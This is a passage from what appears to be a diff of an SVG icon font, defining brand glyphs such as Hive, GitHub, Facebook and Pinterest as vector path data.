0.164062z" /> + <glyph glyph-name="guilded" unicode="" +d="M443.427 384c0.00195312 -0.518555 0.0253906 -0.367188 0.0253906 -0.885742c0 -29.1934 -2.00293 -57.9229 -5.87891 -86.0576h-336.147s0.366211 -52.0498 27.0918 -105.883c27.458 -51.8174 65.3164 -85.1025 96.5488 -98.3623 +c32.2695 15.082 63.4434 41.2695 80.4561 69.4824h-88.5898c-22.9229 18.998 -40.96 50.5146 -45.0996 86.9443h259.889c-12.8154 -58.5713 -40.0088 -111.838 -65.916 -145.762c-35.8154 -46.7773 -84.2695 -82.8105 -140.55 -103.477 +c-1.25586 0 -113.21 33.8652 -177.267 161.642c-21.2266 42.2988 -43.418 119.099 -43.418 222.358h438.855z" /> + <glyph glyph-name="hive" unicode="" horiz-adv-x="512" +d="M260.353 193.122c0.191406 -0.329102 0.300781 -0.716797 0.300781 -1.12402c0 -0.404297 -0.107422 -0.783203 -0.294922 -1.11133l-127.412 -221.777c-0.380859 -0.666992 -1.09473 -1.11621 -1.91602 -1.11621c-0.818359 0 -1.53223 0.445312 -1.91406 1.10645 +l-128.816 221.778c-0.189453 0.328125 -0.297852 0.713867 -0.297852 1.12012s0.108398 0.787109 0.297852 1.11523l127.409 221.777c0.380859 0.666016 1.09473 1.11523 1.91602 1.11523c0.817383 0 1.53125 -0.445312 1.91309 -1.10547zM299.431 218.835l-110.624 193.824 +c-0.189453 0.327148 -0.298828 0.709961 -0.298828 1.11523c0 1.21973 0.983398 2.21094 2.19922 2.22559h66.5078c0.81543 -0.00195312 1.52539 -0.447266 1.90039 -1.11133l110.625 -193.823c0.189453 -0.328125 0.298828 -0.709961 0.298828 -1.11523 +c0 -1.21973 -0.983398 -2.21191 -2.19922 -2.22656h-66.5088c-0.81543 0.00292969 -1.52441 0.448242 -1.90039 1.11133zM511.7 193.114c0.1875 -0.328125 0.294922 -0.711914 0.294922 -1.11621c0 -0.405273 -0.107422 -0.78418 -0.294922 -1.1123l-126.808 -221.773 +c-0.376953 -0.664062 -1.08887 -1.11035 -1.90527 -1.1123h-66.6006c-1.21875 0.0117188 -2.20312 1.00684 -2.20312 2.22852c0 0.404297 0.108398 0.78418 0.297852 1.11133l126.171 220.66l-126.168 220.66c-0.189453 0.327148 -0.298828 0.708984 -0.298828 1.11426 +c0 1.2207 0.985352 2.21387 2.2041 2.22559h66.6006c0.818359 -0.000976562 1.53125 -0.447266 1.91016 -1.1123zM366.016 163.083c1.2168 -0.0136719 2.19922 -1.00879 2.19922 -2.22852c0 -0.405273 -0.108398 -0.785156 -0.297852 -1.1123l-108.8 -190.631 +c-0.375 -0.664062 -1.08496 -1.10938 -1.90039 -1.11133h-66.5088c-1.21582 0.0146484 -2.19824 1.00879 -2.19824 2.22852c0 0.405273 0.108398 0.785156 0.297852 1.1123l108.801 190.631c0.374023 0.664062 1.08398 1.10938 1.89941 1.11133h66.5078z" /> + <glyph glyph-name="innosoft" unicode="" +d="M422.559 288.29l0.00292969 -190.955c0.0253906 -12.4102 -5.87793 -22.8965 -16.623 -29.5283l-164.527 -94.9951c-5.08008 -3.04102 -11.0938 -4.79004 -17.4404 -4.79004c-6.11523 0 -11.8545 1.62402 -16.8096 4.46387l-118.794 68.583l247.049 142.627v-56 +l-150.051 -86.627l32.7227 -18.9004c1.74805 -0.97168 3.78613 -1.52441 5.92676 -1.52441c2.18457 0 4.23633 0.576172 6.01074 1.58691l138.111 79.7441c3.54883 2.08008 5.91992 5.92578 5.91992 10.332v0.0361328v138.281l-308.407 -178.066 +c-3.94629 -2.25293 -8.57129 -3.54102 -13.4365 -3.54102c-4.83301 0 -9.37207 1.27051 -13.2998 3.49609c-8.39453 4.75586 -13.3037 13.293 -13.4736 23.4287v191.5c0.518555 12.7334 6.65527 23.0039 17.2891 29.124l164.601 95.0254 +c11.5 5.98535 22.8076 5.85938 33.7998 -0.269531l118.513 -68.4072l-247.061 -142.637v56l150.062 86.6367l-32.6553 18.8525c-1.76367 0.998047 -3.82715 1.56738 -5.99609 1.56738c-2.15137 0 -4.17285 -0.55957 -5.92578 -1.54199l-138.076 -79.7129 +c-3.60352 -2.04785 -6.02734 -5.90723 -6.04688 -10.3398v-138.387l308.539 178.142c3.88281 2.24414 8.44531 3.5293 13.25 3.5293c4.70801 0 9.13086 -1.23438 12.9609 -3.39648c8.16406 -4.63184 13.6914 -13.3291 13.8652 -23.3369z" /> + <glyph glyph-name="instalod" unicode="" horiz-adv-x="512" +d="M153.384 -32l50.8447 146.789l298.325 57.4463l-115.44 -204.235h-233.729zM504.726 207.922l-144.495 -27.8223l-204.562 235.9h231.444zM124.386 399.191l101.241 -116.752l-102.391 -295.594l-115.962 205.154z" /> + <glyph glyph-name="octopus-deploy" unicode="" horiz-adv-x="512" +d="M455.6 98.7998c12.4395 -10.5996 42.6348 -26.4775 42.5244 -45.2666c-0.15332 -24.6084 -48.4248 5.24121 -53.8184 9.51953c6.13965 -10.7275 66.998 -74.1787 28.2627 -78.6943c-35.6562 -4.1582 -67.1406 45.6416 -88.5615 67.0225 +c-36 35.9082 -29.7373 -43.5332 -29.8994 -59.9443c-0.257812 -25.9082 -18.5586 -78.4209 -51.4121 -44.2207c-27.1387 28.2314 -16.873 73.2607 -35.7383 104.622c-20.6641 34.3535 -55.0361 -34.3535 -63.627 -46.9258 +c-9.59668 -14.042 -57.6094 -82.041 -76.709 -45.8125c-15.499 29.4004 9.2793 75.5127 21.4629 102.103c-4.44336 -9.65723 -35.9297 -23.9414 -45.1299 -28.5879c-20.7871 -10.4971 -41.8867 -16.7256 -65.2646 -15.0449 +c-27.8916 2.00098 -38.3789 11.6572 8.42773 41.8574c38.5615 24.8389 83.8613 67.4209 66.6621 117.582c-9.37305 27.3301 -22.3574 50.7568 -24.0898 80.2998c-0.209961 3.56152 -0.25 7.08008 -0.25 10.6924c0 22.0957 3.9707 43.2715 11.2373 62.8516 +c34.5752 92.8066 137.363 136.747 230.253 108.848c86.0371 -25.8398 145.23 -125.74 109.575 -212.79c-20.5752 -50.2334 -29.7959 -89.0205 16.0947 -128.11z" /> + <glyph glyph-name="perbyte" unicode="" +d="M305.314 163.422c15.9307 0.000976562 28.5732 -4.5 37.9277 -13.5059s14.0322 -20.7842 14.0322 -35.335c0 -14.8936 -4.58984 -26.9307 -13.7705 -36.1113c-9.17969 -9.17969 -21.9111 -13.7695 -38.1934 -13.7695h-58.7109v98.7217h58.7148zM149.435 319.301 +c15.9346 0.00488281 28.5791 -4.49609 37.9316 -13.5039s14.0283 -20.7871 14.0283 -35.3379c0 -14.8896 -4.58984 -26.9258 -13.7695 -36.1084c-9.17969 -9.18164 -21.9102 -13.7725 -38.1904 -13.7725h-58.7109v98.7227h58.7109zM366.648 416.002 +c22.4385 -0.0253906 41.5996 -7.98145 57.4854 -23.8672s23.8418 -35.0479 23.8672 -57.4854v-285.296c-0.0253906 -22.4375 -7.98145 -41.5996 -23.8672 -57.4854s-35.0479 -23.8418 -57.4854 -23.8672h-285.295c-22.4385 0.0253906 -41.6006 7.98145 -57.4863 23.8672 +s-23.8418 35.0479 -23.8672 57.4863v285.296c0.0253906 22.4375 7.98145 41.5996 23.8672 57.4854s35.0479 23.8408 57.4863 23.8662h285.295zM430.282 49.3535l-0.000976562 285.296c-0.0195312 17.5518 -6.24219 32.54 -18.668 44.9658s-27.4141 18.6484 -44.9648 18.668 +h-285.295c-17.5508 -0.0195312 -32.5391 -6.24219 -44.9648 -18.668s-18.6484 -27.4141 -18.668 -44.9658v-285.296c0.0195312 -17.5508 6.24219 -32.5391 18.668 -44.9648s27.4141 -18.6484 44.9648 -18.668h285.295c17.5518 0.0195312 32.54 6.24219 44.9658 18.668 +s18.6484 27.4141 18.668 44.9648zM305.313 319.301c15.9307 0.00488281 28.5732 -4.49609 37.9277 -13.5039s14.0322 -20.7871 14.0322 -35.3379c0 -14.8896 -4.58984 -26.9258 -13.7705 -36.1084c-9.17969 -9.18164 -21.9111 -13.7725 -38.1934 -13.7725h-58.7109v98.7227 +h58.7148z" /> + <glyph glyph-name="uncharted" unicode="" +d="M171.73 215.187c-0.0605469 -0.00195312 -0.12207 -0.000976562 -0.183594 -0.000976562c-0.673828 0 -1.3125 0.148438 -1.88672 0.414062l-115.933 67.9004v-85.2891c-0.0830078 -2.71289 -1.16895 -5.18555 -2.89941 -7.03906 +c-1.6748 -1.54297 -3.91113 -2.4873 -6.36621 -2.4873c-0.0859375 0 -0.172852 0.000976562 -0.258789 0.00390625c-0.146484 -0.0078125 -0.296875 -0.00585938 -0.444336 -0.00585938c-1.65332 0 -3.2002 0.455078 -4.52344 1.24707l-22.3584 12.835 +c-2.9541 1.50684 -4.9707 4.57031 -4.9707 8.1123c0 0.0566406 0.000976562 0.112305 0.00195312 0.168945v115.107c0.118164 3.54102 2.08105 6.61523 4.96875 8.28027l100.2 57.9668c1.40625 0.787109 3.04688 1.23535 4.77148 1.23535s3.3457 -0.448242 4.75098 -1.23535 +l22.3584 -12.8389c2.9541 -1.50586 4.96973 -4.56934 4.96973 -8.11035c0 -0.0566406 -0.000976562 -0.113281 -0.00195312 -0.169922c-0.117188 -3.54199 -2.08008 -6.61523 -4.96777 -8.28125l-74.5293 -43.4727l116.757 -68.3184 +c1.16016 -0.680664 1.96191 -1.89941 2.07129 -3.31152c0 -1.65723 -0.414062 -3.31348 -1.65723 -4.1416c-7.34473 -6.5459 -12.6475 -15.3301 -14.8994 -25.2559c-0.810547 -1.94629 -2.72949 -3.31348 -4.96777 -3.31348h-0.00195312zM323.272 70.2695 +c4.96777 0 9.52734 -4.55469 10.3506 -9.1084v-26.085c-0.117188 -3.54199 -2.08105 -6.61523 -4.96777 -8.28125l-100.2 -57.5527c-1.48633 -0.772461 -3.18359 -1.22363 -4.96875 -1.24219c-0.146484 -0.00683594 -0.296875 -0.00488281 -0.444336 -0.00488281 +c-1.65332 0 -3.2002 0.455078 -4.52441 1.24707l-100.199 57.5527c-2.95508 1.50586 -4.9707 4.56934 -4.9707 8.11035c0 0.0576172 0 0.114258 0.000976562 0.170898v26.085c0.0585938 5.22852 4.29492 9.46484 9.52344 9.52246 +c0.146484 0.0078125 0.296875 0.00585938 0.444336 0.00585938c1.65332 0 3.20117 -0.456055 4.52441 -1.24707l74.5293 -43.0615v133.323c0.0615234 2.62891 2.21387 4.74609 4.85742 4.74609c0.469727 0 0.922852 -0.0673828 1.35254 -0.191406 +c4.39453 -1.18066 8.99414 -1.80664 13.7588 -1.80664c5.29102 0 10.4023 0.776367 15.2256 2.2207c3.31055 1.24512 6.21094 -1.65527 6.21094 -4.55469v-134.152l74.5273 43.0625c1.50684 0.730469 3.2002 1.17383 4.96973 1.24121zM286.007 370 +c-12.6943 0 -23 10.3057 -23 23s10.3057 23 23 23s23 -10.3057 23 -23s-10.3057 -23 -23 -23zM349.634 380.086c12.6943 0 23 -10.3057 23 -23s-10.3057 -23 -23 -23c-12.6934 0 -23 10.3057 -23 23s10.3066 23 23 23zM412.816 296.4c-12.6943 0 -23 10.3057 -23 23 +c0 12.6934 10.3057 23 23 23c12.6934 0 23 -10.3066 23 -23c0 -12.6943 -10.3066 -23 -23 -23zM349.634 305.6c12.6943 0 23 -10.3057 23 -23c0 -12.6934 -10.3057 -23 -23 -23c-12.6934 0 -23 10.3066 -23 23c0 12.6943 10.3066 23 23 23zM286.007 222.356 +c-12.6943 0 -23 10.3018 -23 22.9951v0.00488281c0 12.6934 10.3057 23 23 23s23 -10.3066 23 -23c0 -12.6943 -10.3057 -23 -23 -23zM223.933 185.998c-12.6934 0 -23 10.3018 -23 22.9961v0.00390625c0 12.6943 10.3066 23 23 23c12.6943 0 23 -10.3057 23 -23 +s-10.3057 -23 -23 -23zM412.816 268.356c12.6924 0 22.9971 -10.3086 23 -23c0 -12.6943 -10.3066 -23 -23 -23c-12.6943 0 -23 10.3057 -23 23c0 12.6934 10.3057 23 23 23zM412.816 196.084c12.6924 0 22.9971 -10.3076 23 -23c0 -12.6943 -10.3066 -23 -23 -23 +c-12.6943 0 -23 10.3057 -23 23s10.3057 23 23 23z" /> + <glyph glyph-name="watchman-monitoring" unicode="" horiz-adv-x="512" +d="M256 432c132.548 0 240 -107.452 240 -240s-107.452 -240 -240 -240s-240 107.452 -240 240s107.452 240 240 240zM121.69 18.8779l27.6846 204.861l-9.46777 7.39941c-2.98242 2.34082 -4.89062 5.9668 -4.89062 10.0479 +c0 0.100586 0.000976562 0.201172 0.00292969 0.301758c0 7.04883 0.144531 19.5488 0.144531 19.5488l13.9434 2.0127l0.120117 10.9668l-102.899 -17.8945c-6.20508 -20.251 -9.58691 -41.7412 -9.58691 -64.0137v-0.108398c0 -70.3223 33.3145 -132.972 84.9492 -173.122 +zM227.382 302.148l0.0400391 -3.61816l193.512 37.7002c-40.1152 46.0273 -99.1426 75.0244 -164.934 75.0244c-74.4863 0 -140.374 -37.3623 -180.018 -94.2998l73.5068 -19.1758l0.0478516 4.36914l-8.48145 7.61719s-6.93359 5.38086 0.144531 9.34473 +c7.18652 4.02539 39.5283 34.5 39.5283 34.5c7.20312 7.34668 10.1123 5.47656 15.4609 0c0 0 32.3418 -30.4766 39.5293 -34.5c7.07715 -3.96387 0.143555 -9.34473 0.143555 -9.34473zM261.445 -27.1211c118.386 2.90918 213.813 100.047 213.813 219.121 +c-0.0107422 17.2881 -2.04297 33.9951 -5.85059 50.1299l-241.711 31.3916l0.116211 -10.4746l13.9424 -2.0127s0.144531 -12.5049 0.144531 -19.5488c0.00195312 -0.100586 0.0126953 -0.19043 0.0126953 -0.290039c0 -4.08203 -1.91797 -7.71973 -4.90137 -10.0596 +l-9.4668 -7.39941z" /> + <glyph glyph-name="wodu" unicode="" horiz-adv-x="640" +d="M178.414 108.294h-37.3145l-28.9336 116.231h-0.477539l-28.4609 -116.231h-38.0273l-45.2002 170.76h37.5479l27.0264 -116.23h0.477539l29.6553 116.23h35.1572l29.1777 -117.667h0.479492l27.9785 117.667h36.8311zM271.4 235.287 +c38.9834 0 64.0996 -25.8281 64.0996 -65.291c0 -39.2217 -25.1113 -65.0498 -64.0996 -65.0498c-38.7432 0 -63.8555 25.8281 -63.8555 65.0498c0.00195312 39.4629 25.1143 65.291 63.8555 65.291zM271.4 130.534c23.1992 0 30.1328 19.8516 30.1328 39.4619 +c0 19.8516 -6.93457 39.7002 -30.1328 39.7002c-27.7002 0 -29.8945 -19.8506 -29.8945 -39.7002c0.00195312 -19.6104 6.9375 -39.4619 29.8945 -39.4619zM435.084 124.078h-0.477539c-7.89355 -13.3926 -21.7656 -19.1318 -37.5488 -19.1318 +c-37.3096 0 -55.4844 32.0449 -55.4844 66.2461c0 33.2422 18.415 64.0947 54.7666 64.0947c14.5889 0 28.9385 -6.21777 36.8311 -18.416h0.240234v62.1826h33.96v-170.76h-32.2871v15.7842zM405.428 209.7c-22.2393 0 -29.8936 -19.1338 -29.8936 -39.4629 +c0 -19.3711 8.84766 -39.7002 29.8936 -39.7002c22.4824 0 29.1787 19.6133 29.1787 39.9395c0 20.0879 -7.1748 39.2236 -29.1787 39.2236zM592.96 108.294h-32.2871v17.2188h-0.717773c-8.60938 -13.8701 -23.4365 -20.5664 -37.7861 -20.5664 +c-36.1133 0 -45.2002 20.3281 -45.2002 50.9404v76.0527h33.959v-69.8398c0 -20.3281 5.97949 -30.3721 21.7656 -30.3721c18.415 0 26.3057 10.2832 26.3057 35.3936v64.8184h33.9609v-123.646zM602.453 145.124h37.5469v-36.8301h-37.5469v36.8301z" /> + <glyph glyph-name="twitter-square" unicode="" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM351.1 257.2c12.8008 9.2998 24 20.8994 32.9004 34c-11.7998 -5.10059 -24.5996 -8.7998 -37.7998 -10.2002 +c13.5996 8.09961 23.8994 20.9004 28.7998 36.0996c-12.5996 -7.5 -26.7998 -13 -41.5996 -15.7998c-12 12.7998 -29 20.7002 -47.9004 20.7002c-40 0 -73.2998 -36.0996 -64 -80.5996c-54.4004 2.7998 -102.9 28.7998 -135.2 68.5996 +c-5.7002 -9.7002 -8.89941 -20.9004 -8.89941 -33.0996c0 -0.0371094 -0.0664062 -0.0322266 -0.0664062 -0.0683594c0 -22.749 11.6309 -42.8018 29.2656 -54.5322c-10.6992 0.400391 -20.8994 3.40039 -29.5996 8.2998v-0.799805c0 -31.8994 22.5 -58.2998 52.5 -64.3994 +c-10.4004 -2.7002 -19.5 -2.7002 -29.5996 -1.2002c8.2998 -26 32.5 -44.9004 61.2998 -45.5c-22.5 -17.6006 -50.7002 -28 -81.4004 -28c-5.39941 0 -10.5 0.200195 -15.7998 0.799805c29 -18.5996 63.5 -29.4004 100.7 -29.4004c120.6 0 186.6 99.9004 186.6 186.601 +c0 2.7998 0 5.7002 -0.200195 8.5z" /> + <glyph glyph-name="facebook-square" unicode="" +d="M400 416c26.4922 0 48 -21.5078 48 -48v-352c0 -26.4922 -21.5078 -48 -48 -48h-137.25v152.31h57.7803l11 71.6904h-68.7803v46.5498c0 19.6104 9.61035 38.7305 40.4199 38.7305h31.2705v61s-28.3809 4.83984 -55.5205 4.83984 +c-56.6699 0 -93.6699 -34.3301 -93.6699 -96.4805v-54.6396h-63v-71.6904h63v-152.31h-137.25c-26.4922 0 -48 21.5078 -48 48v352c0 26.4922 21.5078 48 48 48h352z" /> + <glyph glyph-name="linkedin" unicode="" +d="M416 416c17.5996 0 32 -14.5 32 -32.2998v-383.4c0 -17.7998 -14.4004 -32.2998 -32 -32.2998h-384.1c-17.6006 0 -31.9004 14.5 -31.9004 32.2998v383.4c0 17.7998 14.2998 32.2998 31.9004 32.2998h384.1zM135.4 32h0.0996094v213.8h-66.5v-213.8h66.4004zM102.2 275 +c21.2998 0 38.5 17.2002 38.5 38.5c0 21.2002 -17.2998 38.5 -38.5 38.5c-21.2998 0 -38.5 -17.2998 -38.5 -38.5s17.2002 -38.5 38.5 -38.5zM384.3 32v117.2c0 57.5996 -12.5 101.899 -79.7002 101.899c-32.2998 0 -54 -17.6992 -62.8994 -34.5h-0.900391v29.2002h-63.7002 +v-213.8h66.4004v105.8c0 27.9004 5.2998 54.9004 39.9004 54.9004c34 0 34.5 -31.9004 34.5 -56.7002v-104h66.3994z" /> + <glyph glyph-name="github-square" unicode="" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM277.3 32.2998c66 22 110.8 84.9004 110.7 158.3c0 91.8008 -74.4004 161.5 -166.2 161.5s-162 -69.6992 -162 -161.5 +c0 -73.3994 46.2002 -136.199 112.2 -158.3c8.5 -1.5 11.5 3.7002 11.5 8c0 4.10059 -0.200195 26.7002 -0.200195 40.6006c0 0 -46.3994 -10 -56.0996 19.6992c0 0 -7.60059 19.2002 -18.4004 24.2002c0 0 -15.0996 10.4004 1.10059 10.2002 +c0 0 16.3994 -1.2998 25.5 -17.0996c14.5 -25.6006 38.7998 -18.2002 48.2998 -13.9004c1.5 10.5996 5.7998 18 10.5996 22.2998c-37 4.10059 -74.2998 9.5 -74.2998 73.1006c0 18.1992 5 27.2998 15.5996 39c-1.7998 4.39941 -7.39941 22.0996 1.7002 45 +c13.9004 4.2998 45.7002 -17.9004 45.7002 -17.9004c13.2002 3.7002 27.5 5.59961 41.5996 5.59961c14.1006 0 28.4004 -1.89941 41.6006 -5.59961c0 0 31.7998 22.2002 45.7002 17.9004c9.09961 -23 3.39941 -40.7002 1.69922 -45 +c10.6006 -11.7002 17.1006 -20.8008 17.1006 -39c0 -63.9004 -39 -69 -76 -73.1006c6.09961 -5.2002 11.2998 -15.0996 11.2998 -30.7002c0 -22.2998 -0.200195 -49.8994 -0.200195 -55.2998c0 -4.2998 3.10059 -9.5 11.5 -8zM179.2 93.4004 +c-1.90039 -0.400391 -3.7002 0.399414 -3.90039 1.69922c-0.200195 1.5 1.10059 2.80078 3 3.2002c1.90039 0.200195 3.7002 -0.599609 3.90039 -1.89941c0.299805 -1.30078 -1 -2.60059 -3 -3zM169.7 94.2998c0 1.5 -1.7998 2.60059 -3.7002 2.40039 +c-2 0 -3.5 -1.10059 -3.5 -2.40039c0 -1.5 1.5 -2.59961 3.7002 -2.39941c2 0 3.5 1.09961 3.5 2.39941zM156 95.4004c-0.400391 -1.30078 -2.40039 -1.90039 -4.09961 -1.30078c-1.90039 0.400391 -3.2002 1.90039 -2.80078 3.2002 +c0.400391 1.2998 2.40039 1.90039 4.10059 1.5c2 -0.599609 3.2998 -2.09961 2.7998 -3.39941zM143.7 100.8c0.899414 0.799805 0.399414 2.7998 -0.900391 4.10059c-1.5 1.5 -3.39941 1.69922 -4.2998 0.599609c-1 -0.900391 -0.599609 -2.7998 0.900391 -4.09961 +c1.5 -1.5 3.39941 -1.7002 4.2998 -0.600586zM134.6 109.9c1.10059 0.799805 1.10059 2.59961 0 4.09961c-0.899414 1.5 -2.59961 2.2002 -3.69922 1.2998c-1.10059 -0.700195 -1.10059 -2.39941 0 -3.89941c1.09961 -1.5 2.7998 -2.10059 3.69922 -1.5zM128.1 119.6 +c0.900391 0.700195 0.700195 2.2002 -0.399414 3.5c-1.10059 1 -2.60059 1.5 -3.5 0.600586c-0.900391 -0.700195 -0.700195 -2.2002 0.399414 -3.5c1.10059 -1 2.60059 -1.5 3.5 -0.600586zM121.4 127c0.399414 0.799805 -0.200195 1.90039 -1.5 2.59961 +c-1.30078 0.5 -2.40039 0.200195 -2.80078 -0.399414c-0.399414 -0.900391 0.200195 -2 1.5 -2.60059c1.10059 -0.699219 2.40039 -0.5 2.80078 0.400391z" /> + <glyph glyph-name="twitter" unicode="" horiz-adv-x="512" +d="M459.37 296.284c0.325195 -4.54785 0.325195 -9.09766 0.325195 -13.6455c0 -138.72 -105.583 -298.558 -298.559 -298.558c-59.4521 0 -114.68 17.2188 -161.137 47.1055c8.44727 -0.973633 16.5684 -1.29883 25.3398 -1.29883 +c49.0547 0 94.2129 16.5684 130.274 44.832c-46.1318 0.975586 -84.792 31.1885 -98.1123 72.7725c6.49805 -0.974609 12.9951 -1.62402 19.8184 -1.62402c9.4209 0 18.8428 1.2998 27.6133 3.57324c-48.0811 9.74707 -84.1426 51.9795 -84.1426 102.984v1.29883 +c13.9688 -7.79688 30.2139 -12.6699 47.4307 -13.3184c-28.2637 18.8428 -46.7803 51.0049 -46.7803 87.3906c0 19.4922 5.19629 37.3604 14.2939 52.9541c51.6543 -63.6748 129.3 -105.258 216.364 -109.807c-1.62402 7.79688 -2.59863 15.918 -2.59863 24.04 +c0 57.8271 46.7822 104.934 104.934 104.934c30.2139 0 57.502 -12.6699 76.6709 -33.1367c23.7148 4.54785 46.4551 13.3193 66.5986 25.3398c-7.79785 -24.3662 -24.3662 -44.833 -46.1318 -57.8271c21.1172 2.27344 41.584 8.12207 60.4258 16.2432 +c-14.292 -20.791 -32.1611 -39.3086 -52.6279 -54.2529z" /> + <glyph glyph-name="facebook" unicode="" horiz-adv-x="512" +d="M504 192c0 -123.78 -90.6904 -226.38 -209.25 -245v173.31h57.7803l11 71.6904h-68.7803v46.5498c0 19.6104 9.61035 38.7305 40.4102 38.7305h31.2803v61s-28.3809 4.83984 -55.5205 4.83984c-56.6699 0 -93.6699 -34.3301 -93.6699 -96.4805v-54.6396h-63v-71.6904h63 +v-173.31c-118.56 18.6201 -209.25 121.22 -209.25 245c0 137 111 248 248 248s248 -111 248 -248z" /> + <glyph glyph-name="github" unicode="" horiz-adv-x="496" +d="M165.9 50.5996c0 -2 -2.30078 -3.59961 -5.2002 -3.59961c-3.2998 -0.299805 -5.60059 1.2998 -5.60059 3.59961c0 2 2.30078 3.60059 5.2002 3.60059c3 0.299805 5.60059 -1.2998 5.60059 -3.60059zM134.8 55.0996c0.700195 2 3.60059 3 6.2002 2.30078 +c3 -0.900391 4.90039 -3.2002 4.2998 -5.2002c-0.599609 -2 -3.59961 -3 -6.2002 -2c-3 0.599609 -5 2.89941 -4.2998 4.89941zM179 56.7998c2.90039 0.299805 5.59961 -1 5.90039 -2.89941c0.299805 -2 -1.7002 -3.90039 -4.60059 -4.60059 +c-3 -0.700195 -5.59961 0.600586 -5.89941 2.60059c-0.300781 2.2998 1.69922 4.19922 4.59961 4.89941zM244.8 440c138.7 0 251.2 -105.3 251.2 -244c0 -110.9 -67.7998 -205.8 -167.8 -239c-12.7002 -2.2998 -17.2998 5.59961 -17.2998 12.0996 +c0 8.2002 0.299805 49.9004 0.299805 83.6006c0 23.5 -7.7998 38.5 -17 46.3994c55.8994 6.30078 114.8 14 114.8 110.5c0 27.4004 -9.7998 41.2002 -25.7998 58.9004c2.59961 6.5 11.0996 33.2002 -2.60059 67.9004c-20.8994 6.59961 -69 -27 -69 -27 +c-20 5.59961 -41.5 8.5 -62.7998 8.5s-42.7998 -2.90039 -62.7998 -8.5c0 0 -48.0996 33.5 -69 27c-13.7002 -34.6006 -5.2002 -61.4004 -2.59961 -67.9004c-16 -17.5996 -23.6006 -31.4004 -23.6006 -58.9004c0 -96.1992 56.4004 -104.3 112.3 -110.5 +c-7.19922 -6.59961 -13.6992 -17.6992 -16 -33.6992c-14.2998 -6.60059 -51 -17.7002 -72.8994 20.8994c-13.7002 23.7998 -38.6006 25.7998 -38.6006 25.7998c-24.5 0.300781 -1.59961 -15.3994 -1.59961 -15.3994c16.4004 -7.5 27.7998 -36.6006 27.7998 -36.6006 +c14.7002 -44.7998 84.7002 -29.7998 84.7002 -29.7998c0 -21 0.299805 -55.2002 0.299805 -61.3994c0 -6.5 -4.5 -14.4004 -17.2998 -12.1006c-99.7002 33.4004 -169.5 128.3 -169.5 239.2c0 138.7 106.1 244 244.8 244zM97.2002 95.0996 +c1.2998 1.30078 3.59961 0.600586 5.2002 -1c1.69922 -1.89941 2 -4.19922 0.699219 -5.19922c-1.2998 -1.30078 -3.59961 -0.600586 -5.19922 1c-1.7002 1.89941 -2 4.19922 -0.700195 5.19922zM86.4004 103.2c0.699219 1 2.2998 1.2998 4.2998 0.700195 +c2 -1 3 -2.60059 2.2998 -3.90039c-0.700195 -1.40039 -2.7002 -1.7002 -4.2998 -0.700195c-2 1 -3 2.60059 -2.2998 3.90039zM118.8 67.5996c1.2998 1.60059 4.2998 1.30078 6.5 -1c2 -1.89941 2.60059 -4.89941 1.2998 -6.19922 +c-1.2998 -1.60059 -4.19922 -1.30078 -6.5 1c-2.2998 1.89941 -2.89941 4.89941 -1.2998 6.19922zM107.4 82.2998c1.59961 1.2998 4.19922 0.299805 5.59961 -2c1.59961 -2.2998 1.59961 -4.89941 0 -6.2002c-1.2998 -1 -4 0 -5.59961 2.30078 +c-1.60059 2.2998 -1.60059 4.89941 0 5.89941z" /> + <glyph glyph-name="pinterest" unicode="" horiz-adv-x="496" +d="M496 192c0 -137 -111 -248 -248 -248c-25.5996 0 -50.2002 3.90039 -73.4004 11.0996c10.1006 16.5 25.2002 43.5 30.8008 65c3 11.6006 15.3994 59 15.3994 59c8.10059 -15.3994 31.7002 -28.5 56.7998 -28.5c74.8008 0 128.7 68.8008 128.7 154.301 +c0 81.8994 -66.8994 143.199 -152.899 143.199c-107 0 -163.9 -71.7998 -163.9 -150.1c0 -36.4004 19.4004 -81.7002 50.2998 -96.0996c4.7002 -2.2002 7.2002 -1.2002 8.2998 3.2998c0.800781 3.39941 5 20.2998 6.90039 28.0996 +c0.599609 2.5 0.299805 4.7002 -1.7002 7.10059c-10.0996 12.5 -18.2998 35.2998 -18.2998 56.5996c0 54.7002 41.4004 107.6 112 107.6c60.9004 0 103.6 -41.5 103.6 -100.899c0 -67.1006 -33.8994 -113.601 -78 -113.601c-24.2998 0 -42.5996 20.1006 -36.6992 44.8008 +c7 29.5 20.5 61.2998 20.5 82.5996c0 19 -10.2002 34.9004 -31.4004 34.9004c-24.9004 0 -44.9004 -25.7002 -44.9004 -60.2002c0 -22 7.40039 -36.7998 7.40039 -36.7998s-24.5 -103.801 -29 -123.2c-5 -21.4004 -3 -51.6006 -0.900391 -71.2002 +c-92.1992 36.0996 -157.6 125.9 -157.6 231c0 137 111 248 248 248s248 -111 248 -248z" /> + <glyph glyph-name="pinterest-square" unicode="" +d="M448 368v-352c0 -26.5 -21.5 -48 -48 -48h-245.6c9.7998 16.4004 22.3994 40 27.3994 59.2998c3 11.5 15.2998 58.4004 15.2998 58.4004c8 -15.2998 31.4004 -28.2002 56.3008 -28.2002c74.0996 0 127.399 68.0996 127.399 152.7 +c0 81.0996 -66.2002 141.8 -151.399 141.8c-106 0 -162.2 -71.0996 -162.2 -148.6c0 -36 19.2002 -80.8008 49.7998 -95.1006c4.7002 -2.2002 7.09961 -1.2002 8.2002 3.2998c0.799805 3.40039 5 20.1006 6.7998 27.8008c0.599609 2.5 0.299805 4.59961 -1.7002 7 +c-10.0996 12.2998 -18.2998 34.8994 -18.2998 56c0 54.1992 41 106.6 110.9 106.6c60.2998 0 102.6 -41.0996 102.6 -99.9004c0 -66.3994 -33.5 -112.399 -77.2002 -112.399c-24.0996 0 -42.0996 19.8994 -36.3994 44.3994c6.89941 29.2002 20.2998 60.7002 20.2998 81.8008 +c0 53 -75.5 45.6992 -75.5 -25c0 -21.7002 7.2998 -36.5 7.2998 -36.5c-31.4004 -132.801 -36.0996 -134.5 -29.5996 -192.601l2.19922 -0.799805h-88.5996c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48z" /> + <glyph glyph-name="google-plus-square" unicode="" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 